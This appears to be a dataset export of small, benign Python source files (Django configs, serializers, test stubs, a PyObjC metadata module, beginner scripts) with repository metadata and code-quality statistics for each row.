hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
19ed528b2b1e3d6184c1f71f8fc95e17155f0fa8 | 20 | py | Python | src/eoapi/vector/eoapi/vector/__init__.py | drnextgis/eoAPI | 690d6f9efcb4108ae0f21334fd4ed4db79e80366 | [
"MIT"
] | 14 | 2021-08-31T19:03:46.000Z | 2022-03-18T20:05:01.000Z | src/eoapi/vector/eoapi/vector/__init__.py | drnextgis/eoAPI | 690d6f9efcb4108ae0f21334fd4ed4db79e80366 | [
"MIT"
] | 27 | 2021-08-30T17:34:20.000Z | 2022-03-10T18:15:53.000Z | src/eoapi/vector/eoapi/vector/__init__.py | drnextgis/eoAPI | 690d6f9efcb4108ae0f21334fd4ed4db79e80366 | [
"MIT"
] | 2 | 2021-09-08T15:53:40.000Z | 2022-03-01T20:25:51.000Z | """eoapi.vector."""
| 10 | 19 | 0.55 | 2 | 20 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05 | 20 | 1 | 20 | 20 | 0.578947 | 0.65 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
c235f1e5ecb34f40084b55234cfb3fb28f6775f5 | 111 | py | Python | django_cowhite_blog/apps.py | cowhite/django-cowhite-blog | 5ca8ae4091a836c44656c8b682ed0251ce4d3059 | [
"MIT"
] | 1 | 2018-06-17T14:44:07.000Z | 2018-06-17T14:44:07.000Z | django_cowhite_blog/apps.py | cowhite/django-cowhite-blog | 5ca8ae4091a836c44656c8b682ed0251ce4d3059 | [
"MIT"
] | 7 | 2019-10-22T18:07:16.000Z | 2022-03-11T23:21:34.000Z | django_cowhite_blog/apps.py | cowhite/django-cowhite-blog | 5ca8ae4091a836c44656c8b682ed0251ce4d3059 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class DjangoCowhiteBlogConfig(AppConfig):
name = 'django_cowhite_blog'
| 18.5 | 41 | 0.801802 | 12 | 111 | 7.25 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135135 | 111 | 5 | 42 | 22.2 | 0.90625 | 0 | 0 | 0 | 0 | 0 | 0.171171 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
c248af98815b7be45611fa2c2249c8ceb39f1416 | 157 | py | Python | i_rorelse/apps.py | ISOF-ITD/leaflet-storymaps | d1544f4ecd750716b1a88639ec6c343e86e18f88 | [
"MIT"
] | null | null | null | i_rorelse/apps.py | ISOF-ITD/leaflet-storymaps | d1544f4ecd750716b1a88639ec6c343e86e18f88 | [
"MIT"
] | null | null | null | i_rorelse/apps.py | ISOF-ITD/leaflet-storymaps | d1544f4ecd750716b1a88639ec6c343e86e18f88 | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from django.apps import AppConfig
class IRorelse(AppConfig):
name = 'i_rorelse'
verbose_name = 'I rörelse' | 19.625 | 39 | 0.764331 | 20 | 157 | 5.65 | 0.75 | 0.088496 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171975 | 157 | 8 | 40 | 19.625 | 0.869231 | 0 | 0 | 0 | 0 | 0 | 0.113924 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
df9c281f5d50e2b91c74087ccffa8c4f358c471a | 185 | py | Python | FbxPipeline/generated/apemodefb/ECullingTypeFb.py | johnfredcee/FbxPipeline | d06213d21b3b251233154b1a5f5fb6122f712942 | [
"Apache-2.0"
] | 72 | 2017-03-13T04:20:52.000Z | 2022-01-07T10:58:11.000Z | FbxPipeline/generated/apemodefb/ECullingTypeFb.py | johnfredcee/FbxPipeline | d06213d21b3b251233154b1a5f5fb6122f712942 | [
"Apache-2.0"
] | 1 | 2017-02-21T12:26:45.000Z | 2017-02-22T17:30:44.000Z | FbxPipeline/generated/apemodefb/ECullingTypeFb.py | johnfredcee/FbxPipeline | d06213d21b3b251233154b1a5f5fb6122f712942 | [
"Apache-2.0"
] | 10 | 2017-02-04T23:57:24.000Z | 2021-08-08T01:59:24.000Z | # automatically generated by the FlatBuffers compiler, do not modify
# namespace: apemodefb
class ECullingTypeFb(object):
CullingOff = 0
CullingOnCCW = 1
CullingOnCW = 2
| 18.5 | 68 | 0.735135 | 20 | 185 | 6.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020548 | 0.210811 | 185 | 9 | 69 | 20.555556 | 0.910959 | 0.47027 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
dfac6a3b491959de6860308c967329508cc86319 | 819 | py | Python | bagdiscovery/serializers.py | RockefellerArchiveCenter/bag-repository | e411ac03f9d75a03c4fe474104ea6c2e4813f312 | [
"MIT"
] | null | null | null | bagdiscovery/serializers.py | RockefellerArchiveCenter/bag-repository | e411ac03f9d75a03c4fe474104ea6c2e4813f312 | [
"MIT"
] | 99 | 2018-09-26T17:06:36.000Z | 2022-03-28T15:53:46.000Z | bagdiscovery/serializers.py | RockefellerArchiveCenter/ursa_major | 44bc4a23a37ec749553ecfcc4914357ab621d4f3 | [
"MIT"
] | null | null | null | from rest_framework import serializers
from .models import Accession, Bag
class AccessionSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Accession
fields = ('url', 'data', 'created', 'last_modified')
class AccessionListSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Accession
fields = ('url', 'created', 'last_modified')
class BagSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Bag
fields = ('url', 'bag_identifier', 'bag_path', 'origin', 'accession', 'data', 'created', 'last_modified')
class BagListSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Bag
fields = ('url', 'bag_identifier', 'accession', 'created', 'last_modified')
| 25.59375 | 113 | 0.692308 | 73 | 819 | 7.657534 | 0.342466 | 0.264759 | 0.300537 | 0.329159 | 0.618962 | 0.518784 | 0.518784 | 0.518784 | 0.271914 | 0.271914 | 0 | 0 | 0.192918 | 819 | 31 | 114 | 26.419355 | 0.845688 | 0 | 0 | 0.444444 | 0 | 0 | 0.19536 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
dfb19be2195e6a9f5d9d229a70ff4c391d7f86d5 | 1,454 | py | Python | sdk/test/test_users_api.py | aqualinkorg/aqualink-sdk | dad972d1dd5b74e8216bdc30521a8b76f7844733 | [
"MIT"
] | 1 | 2022-02-06T23:05:37.000Z | 2022-02-06T23:05:37.000Z | sdk/test/test_users_api.py | aqualinkorg/aqualink-sdk | dad972d1dd5b74e8216bdc30521a8b76f7844733 | [
"MIT"
] | 3 | 2022-02-07T06:13:31.000Z | 2022-03-11T12:43:39.000Z | sdk/test/test_users_api.py | aqualinkorg/aqualink-sdk | dad972d1dd5b74e8216bdc30521a8b76f7844733 | [
"MIT"
] | null | null | null | """
Aqualink API documentation
The Aqualink public API documentation # noqa: E501
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
"""
import unittest
import aqualink_sdk
from aqualink_sdk.api.users_api import UsersApi # noqa: E501
class TestUsersApi(unittest.TestCase):
"""UsersApi unit test stubs"""
def setUp(self):
self.api = UsersApi() # noqa: E501
def tearDown(self):
pass
def test_users_controller_create(self):
"""Test case for users_controller_create
Creates a new user # noqa: E501
"""
pass
def test_users_controller_delete(self):
"""Test case for users_controller_delete
Deletes specified user # noqa: E501
"""
pass
def test_users_controller_get_administered_sites(self):
"""Test case for users_controller_get_administered_sites
Returns the administered sites of the signed in user # noqa: E501
"""
pass
def test_users_controller_get_self(self):
"""Test case for users_controller_get_self
Returns the currently signed in user # noqa: E501
"""
pass
def test_users_controller_set_admin_level(self):
"""Test case for users_controller_set_admin_level
Updates the access level of a user # noqa: E501
"""
pass
if __name__ == '__main__':
unittest.main()
| 22.71875 | 74 | 0.654058 | 179 | 1,454 | 5.055866 | 0.340782 | 0.165746 | 0.060773 | 0.088398 | 0.459669 | 0.364641 | 0.265193 | 0.192265 | 0.150276 | 0.101657 | 0 | 0.025544 | 0.27304 | 1,454 | 63 | 75 | 23.079365 | 0.830653 | 0.464237 | 0 | 0.3 | 1 | 0 | 0.01252 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.35 | false | 0.3 | 0.15 | 0 | 0.55 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
dfdf11e674f1b4004795efa80339cbee10e1b6ff | 816 | py | Python | python/remove_all_occurrence_no_list.py | codevscolor/codevscolor | 35ef9042bdc86f45ef87795c35963b75fb64d5d7 | [
"Apache-2.0"
] | 6 | 2019-04-26T03:11:54.000Z | 2021-05-07T21:48:29.000Z | python/remove_all_occurrence_no_list.py | akojif/codevscolor | 56db3dffeac8f8d76ff8fcf5656770f33765941f | [
"Apache-2.0"
] | null | null | null | python/remove_all_occurrence_no_list.py | akojif/codevscolor | 56db3dffeac8f8d76ff8fcf5656770f33765941f | [
"Apache-2.0"
] | 26 | 2019-02-23T14:50:46.000Z | 2022-02-04T23:44:24.000Z | #example 1
#1
list_size = int(input("How many numbers you want to store in the list : "))
#2
user_list = []
#3
for i in range(list_size ):
user_list.append(int(input("Enter element %d : "%(i+1))))
#4
print("This is your list : ",user_list)
#5
flag = int(input("Enter the number you want to remove from this list : "))
#6
while flag in user_list :
user_list.remove(flag)
#7
print("Final list : ",user_list)
#example 2
list_size = int(input("How many numbers you want to store in the list : "))
user_list = []
for i in range(list_size ):
user_list.append(int(input("Enter element %d : "%(i+1))))
print("This is your list : ",user_list)
flag = int(input("Enter the number you want to remove from this list : "))
final_list = [item for item in user_list if item != flag]
print("Final list : ",final_list)
| 27.2 | 75 | 0.680147 | 145 | 816 | 3.717241 | 0.282759 | 0.148423 | 0.111317 | 0.059369 | 0.701299 | 0.701299 | 0.701299 | 0.601113 | 0.601113 | 0.601113 | 0 | 0.016393 | 0.177696 | 816 | 29 | 76 | 28.137931 | 0.786885 | 0.030637 | 0 | 0.705882 | 0 | 0 | 0.393862 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.235294 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
dfff3e177aa0e9a2b0366e455b6ba9ca5a91ae08 | 106 | py | Python | app/helloworld.py | nielsanb/apicourse | 18f12c0aa270ad759f3f2151aaf58cb41b63cbc2 | [
"MIT"
] | null | null | null | app/helloworld.py | nielsanb/apicourse | 18f12c0aa270ad759f3f2151aaf58cb41b63cbc2 | [
"MIT"
] | null | null | null | app/helloworld.py | nielsanb/apicourse | 18f12c0aa270ad759f3f2151aaf58cb41b63cbc2 | [
"MIT"
] | null | null | null | def helloworld():
print("Hello world from the script!")
if __name__ == "__main__":
helloworld()
| 15.142857 | 41 | 0.650943 | 12 | 106 | 5.083333 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.207547 | 106 | 6 | 42 | 17.666667 | 0.72619 | 0 | 0 | 0 | 0 | 0 | 0.339623 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
5f04d16b4ca8e250f2aebc27262df756f1eeb346 | 48 | py | Python | Chapter16/cf_rfem_hist_price/venv/lib/python3.6/genericpath.py | wtwong316/Mastering-Elasticsearch-7.0 | 8e88f938c9feb201649bd23c4d517bc6af93fbaa | [
"MIT"
] | 25 | 2019-03-08T01:03:03.000Z | 2022-02-14T17:38:32.000Z | Chapter16/cf_rfem_hist_price/venv/lib/python3.6/genericpath.py | wtwong316/Mastering-Elasticsearch-7.0 | 8e88f938c9feb201649bd23c4d517bc6af93fbaa | [
"MIT"
] | 2 | 2019-02-15T17:34:37.000Z | 2019-07-11T14:37:02.000Z | Chapter16/cf_rfem_hist_price/venv/lib/python3.6/genericpath.py | wtwong316/Mastering-Elasticsearch-7.0 | 8e88f938c9feb201649bd23c4d517bc6af93fbaa | [
"MIT"
] | 31 | 2019-01-15T20:16:50.000Z | 2022-03-01T05:47:38.000Z | /home/wai/anaconda3/lib/python3.6/genericpath.py | 48 | 48 | 0.833333 | 8 | 48 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0 | 48 | 1 | 48 | 48 | 0.770833 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
5f221ce82cb76f561c4774cf5e74e9a6a1c3a45f | 216 | py | Python | accounts/views.py | SLAteam/sla-mgmt | 4ec9c300e923c9e1ca15821ba1ab6d9c0c12f63e | [
"BSD-3-Clause"
] | null | null | null | accounts/views.py | SLAteam/sla-mgmt | 4ec9c300e923c9e1ca15821ba1ab6d9c0c12f63e | [
"BSD-3-Clause"
] | 7 | 2018-12-03T22:59:16.000Z | 2018-12-31T12:41:20.000Z | accounts/views.py | SLAteam/sla-mgmt | 4ec9c300e923c9e1ca15821ba1ab6d9c0c12f63e | [
"BSD-3-Clause"
] | null | null | null | from django.shortcuts import render, HttpResponse
# Create your views here.
def loggedin(request):
return HttpResponse('You have been logged in!')
def index(request):
return render(request, 'accounts/index.html') | 27 | 49 | 0.777778 | 29 | 216 | 5.793103 | 0.758621 | 0.154762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12037 | 216 | 8 | 50 | 27 | 0.884211 | 0.106481 | 0 | 0 | 0 | 0 | 0.223958 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.2 | 0.4 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 4 |
a023c93d99a5d4ac11547faaa499b90f57e6823a | 143 | py | Python | src/utils/common.py | Akhil-Chilakala1997/ANN-Implementation | 970428b274a594c4dd4fb166898ec5769c0e93e5 | [
"MIT"
] | null | null | null | src/utils/common.py | Akhil-Chilakala1997/ANN-Implementation | 970428b274a594c4dd4fb166898ec5769c0e93e5 | [
"MIT"
] | null | null | null | src/utils/common.py | Akhil-Chilakala1997/ANN-Implementation | 970428b274a594c4dd4fb166898ec5769c0e93e5 | [
"MIT"
] | null | null | null | import yaml
def config_read(config_path):
with open (config_path) as config:
content = yaml.safe_load(config)
return content
| 23.833333 | 38 | 0.706294 | 20 | 143 | 4.85 | 0.65 | 0.206186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.223776 | 143 | 6 | 39 | 23.833333 | 0.873874 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
a02634252410a0491d8a0b6c8791bf0863da3721 | 1,767 | py | Python | ExternalAccessory/_metadata.py | EnjoyLifeFund/macHighSierra-py36-pkgs | 5668b5785296b314ea1321057420bcd077dba9ea | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | 4 | 2019-03-11T18:05:49.000Z | 2021-05-22T21:09:09.000Z | ExternalAccessory/_metadata.py | EnjoyLifeFund/macHighSierra-py36-pkgs | 5668b5785296b314ea1321057420bcd077dba9ea | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null | ExternalAccessory/_metadata.py | EnjoyLifeFund/macHighSierra-py36-pkgs | 5668b5785296b314ea1321057420bcd077dba9ea | [
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | 1 | 2019-03-18T18:53:36.000Z | 2019-03-18T18:53:36.000Z | # This file is generated by objective.metadata
#
# Last update: Sun Jul 2 20:58:25 2017
import objc, sys
if sys.maxsize > 2 ** 32:
def sel32or64(a, b): return b
else:
def sel32or64(a, b): return a
if sys.byteorder == 'little':
def littleOrBig(a, b): return a
else:
def littleOrBig(a, b): return b
misc = {
}
constants = '''$EAAccessoryDidConnectNotification$EAAccessoryDidDisconnectNotification$EAAccessoryKey$EAAccessorySelectedKey$EABluetoothAccessoryPickerErrorDomain$'''
enums = '''$EABluetoothAccessoryPickerAlreadyConnected@0$EABluetoothAccessoryPickerResultCancelled@2$EABluetoothAccessoryPickerResultFailed@3$EABluetoothAccessoryPickerResultNotFound@1$EAConnectionIDNone@0$EAWiFiUnconfiguredAccessoryBrowserStateConfiguring@3$EAWiFiUnconfiguredAccessoryBrowserStateSearching@2$EAWiFiUnconfiguredAccessoryBrowserStateStopped@1$EAWiFiUnconfiguredAccessoryBrowserStateWiFiUnavailable@0$EAWiFiUnconfiguredAccessoryConfigurationStatusFailed@2$EAWiFiUnconfiguredAccessoryConfigurationStatusSuccess@0$EAWiFiUnconfiguredAccessoryConfigurationStatusUserCancelledConfiguration@1$EAWiFiUnconfiguredAccessoryPropertySupportsAirPlay@1$EAWiFiUnconfiguredAccessoryPropertySupportsAirPrint@2$EAWiFiUnconfiguredAccessoryPropertySupportsHomeKit@4$'''
misc.update({})
r = objc.registerMetaDataForSelector
objc._updatingMetadata(True)
try:
r(b'EAAccessory', b'isConnected', {'retval': {'type': 'Z'}})
r(b'EAAccessory', b'setConnected:', {'arguments': {2: {'type': 'Z'}}})
r(b'EAAccessoryManager', b'showBluetoothAccessoryPickerWithNameFilter:completion:', {'arguments': {3: {'callable': {'retval': {'type': b'v'}, 'arguments': {0: {'type': b'^v'}, 1: {'type': b'@'}}}}}})
finally:
objc._updatingMetadata(False)
expressions = {}
# END OF FILE
| 55.21875 | 765 | 0.800226 | 147 | 1,767 | 9.605442 | 0.544218 | 0.005666 | 0.022663 | 0.01983 | 0.05949 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025184 | 0.078664 | 1,767 | 31 | 766 | 57 | 0.842138 | 0.053198 | 0 | 0.086957 | 1 | 0.043478 | 0.657074 | 0.571343 | 0 | 0 | 0 | 0 | 0 | 1 | 0.173913 | false | 0 | 0.043478 | 0.173913 | 0.217391 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 4 |
a03f7abecc40395b9bc7ad94dde477f328698480 | 97 | py | Python | data/types/pixel_definition.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 143 | 2021-12-03T02:33:36.000Z | 2022-03-29T00:01:48.000Z | data/types/pixel_definition.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 33 | 2021-12-03T10:32:05.000Z | 2022-03-31T02:13:55.000Z | data/types/pixel_definition.py | zhangzhengde0225/SwinTrack | 526be17f8ef266cb924c6939bd8dda23e9b73249 | [
"MIT"
] | 24 | 2021-12-04T06:46:42.000Z | 2022-03-30T07:57:47.000Z | import enum
class PixelDefinition(enum.Enum):
Point = enum.auto()
Region = enum.auto()
| 13.857143 | 33 | 0.670103 | 12 | 97 | 5.416667 | 0.583333 | 0.246154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.206186 | 97 | 6 | 34 | 16.166667 | 0.844156 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
a055acf4731ae1a70713b6879d3396a3863a87a7 | 293 | py | Python | whitefly/commands/version.py | kloiasoft/whitefly | 517b16a5549dbec1c5107dca22c681e2a5f44ea1 | [
"Apache-2.0"
] | 2 | 2017-11-07T13:56:55.000Z | 2018-06-22T06:19:24.000Z | whitefly/commands/version.py | kloiasoft/whitefly | 517b16a5549dbec1c5107dca22c681e2a5f44ea1 | [
"Apache-2.0"
] | 4 | 2017-08-17T15:45:37.000Z | 2017-08-20T23:03:41.000Z | whitefly/commands/version.py | kloiasoft/whitefly | 517b16a5549dbec1c5107dca22c681e2a5f44ea1 | [
"Apache-2.0"
] | null | null | null | import command
import whitefly.utils.release as release
class VersionCommand(command.BaseCommand):
@staticmethod
def version():
return "whitefly version " + release.VERSION + " (" + release.CODENAME + ")"
def execute(self, args):
print(VersionCommand.version())
